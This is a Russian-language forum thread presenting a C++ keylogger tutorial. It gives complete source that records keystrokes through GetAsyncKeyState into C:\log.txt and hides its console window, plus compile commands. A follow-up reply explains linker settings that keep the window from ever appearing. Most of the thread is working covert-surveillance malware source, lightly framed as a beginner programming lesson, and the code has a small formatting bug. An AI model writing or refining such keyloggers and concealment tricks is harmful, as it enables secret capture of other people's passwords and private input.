Keylogger на С++

Если у вас есть вопросы по написанию программ на C/C++ или код, которым вы хотите поделиться, это можно сделать здесь

Модератор: Вася Сташевский

Ответить
Аватара пользователя
Вася Сташевский
Автор статей и описаний
Автор статей и описаний
Сообщения: 55
Зарегистрирован: 24 мар 2015, 20:21
Контактная информация:

Keylogger на С++

Сообщение Вася Сташевский »

Будем писать программу в функции которой будет входить чтение вводимых клавиш клавиатуры и запись их в текстовый файл.

Для работы нам понадобится текстовый файл и компилятор C++

Компилятор на ваш вкус,можете использовать VC++ или С++ Builder.
Хотя их на много больше.

Для компиляции в VC++

Код: Выделить всё

cl -GL C:\\путь\файл.cpp
Для компиляции в С++ Builder=

Код: Выделить всё

bcc32.exe C:\\путь\файл.cpp
Создадим текстовый файл(keylogger.txt)

В нём пишем:

Код: Выделить всё

#include <iostream>      
#include <windows.h>
#include <winuser.h>

using namespace std;

int S (int key, char *files);
void Hide();

int S (int key, char *files)
{
    if ( (key == 1) || (key == 2) )
        return 0;

    FILE *Save;
    Save = fopen(files, "a+");
    cout << key << endl;
    fprintf(Save, "%s", &key);
fclose (Save);
    return 0;
}

void Hide()
{
  HWND Hide;
  AllocConsole();
  Hide = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Hide,0);
}

int main()
{
        Hide();
    char q;

    while (1)
    {
        for(q = 8; q <= 190; q++)
        {
if (GetAsyncKeyState(q) == -32767)
S (q,"C:\\log.txt");
        }
    }
    system ("PAUSE");
return 0;
}
Дальше сохраняем это всё и меняем разрешение файла на cpp(keylogger.cpp)

Компилировать будем на С++ Builder.
Открываем "Командную строку"(Для тех кто не знает win+R пишем cmd и нажимаем Enter)
Пишем bcc32.exe C:\\путь\keylogger.cpp

У вас получится три файла keylogger.obj keylogger.tds и наш исполняемый файл keylogger.exe(два других можете удалить)

Не большие объяснения что же мы написали:
Использовали во первых GetAsyncKeyState
определяет, является ли клавиша отпущенной или нажатой во время вызова функции и была ли клавиша нажата после предыдущего вызова GetAsyncKeyState.
Для работы GetAsyncKeyState подключили #include <windows.h>

Здесь мы:
int S (int key, char *files)
{
if ( (key == 1) || (key == 2) )
return 0;

FILE *Save;
Save = fopen(files, "a+");
cout << key << endl;
fprintf(Save, "%s", &key);
fclose (Save);
return 0;
}
открываем консоль и вводим значение cout << key << endl; ,после чего записываем в файл.

Что бы консоль не было видно использовали:
void Hide()
{
HWND Hide;
AllocConsole();
Hide = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Hide,0);
}
Основное действие происходит уже не посредственно в:
int main()
{
Hide();
char q;

while (1)
{
for(q = 8; q <= 190; q++)
{
if (GetAsyncKeyState(q) == -32767)
S (q,"C:\\log.txt");
}
}
system ("PAUSE");
return 0;
}
где C:\\log.txt куда сохраняется лог.

Естественно не все клавиши выводятся,для этого нужно дописывать к примеру:

Код: Выделить всё

if (key == VK_TAB)              
        fprintf(Save, "%s", "[TAB]");
В общем старался как мог написать статью,если есть вопросы буду рад ответить.
Цель статьи не написание полноценного кейлоггера,а с целью что бы начали проникаться в мир программирования.


Удачи. Код предоставлен в ознакомительных целях.

Аватара пользователя
Ярослав Пахомов
Новичок
Сообщения: 1
Зарегистрирован: 17 авг 2015, 00:39
Контактная информация:

Keylogger на С++

Сообщение Ярослав Пахомов »

Я конечно слоупок, но как сделать чтобы консоль не выплывала а то её чего-то видно :help: :computer:

Аватара пользователя
Вася Сташевский
Автор статей и описаний
Автор статей и описаний
Сообщения: 55
Зарегистрирован: 24 мар 2015, 20:21
Контактная информация:

Keylogger на С++

Сообщение Вася Сташевский »

Ярослав Пахомов писал(а):Я конечно слоупок, но как сделать чтобы консоль не выплывала а то её чего-то видно :help: :computer:
Если пишешь в Windows в Visual Studio, просто выбери при создании пустой проект Windows Application.
Или alt + f7, Linker, Advanced и в Entery Point пишем: mainCRTStartup, дальше идём в Linker,System меняем SubSystem на Windows (/SUBSYSTEM:WINDOWS).

Ответить

Вернуться в «Программирование на C/C++»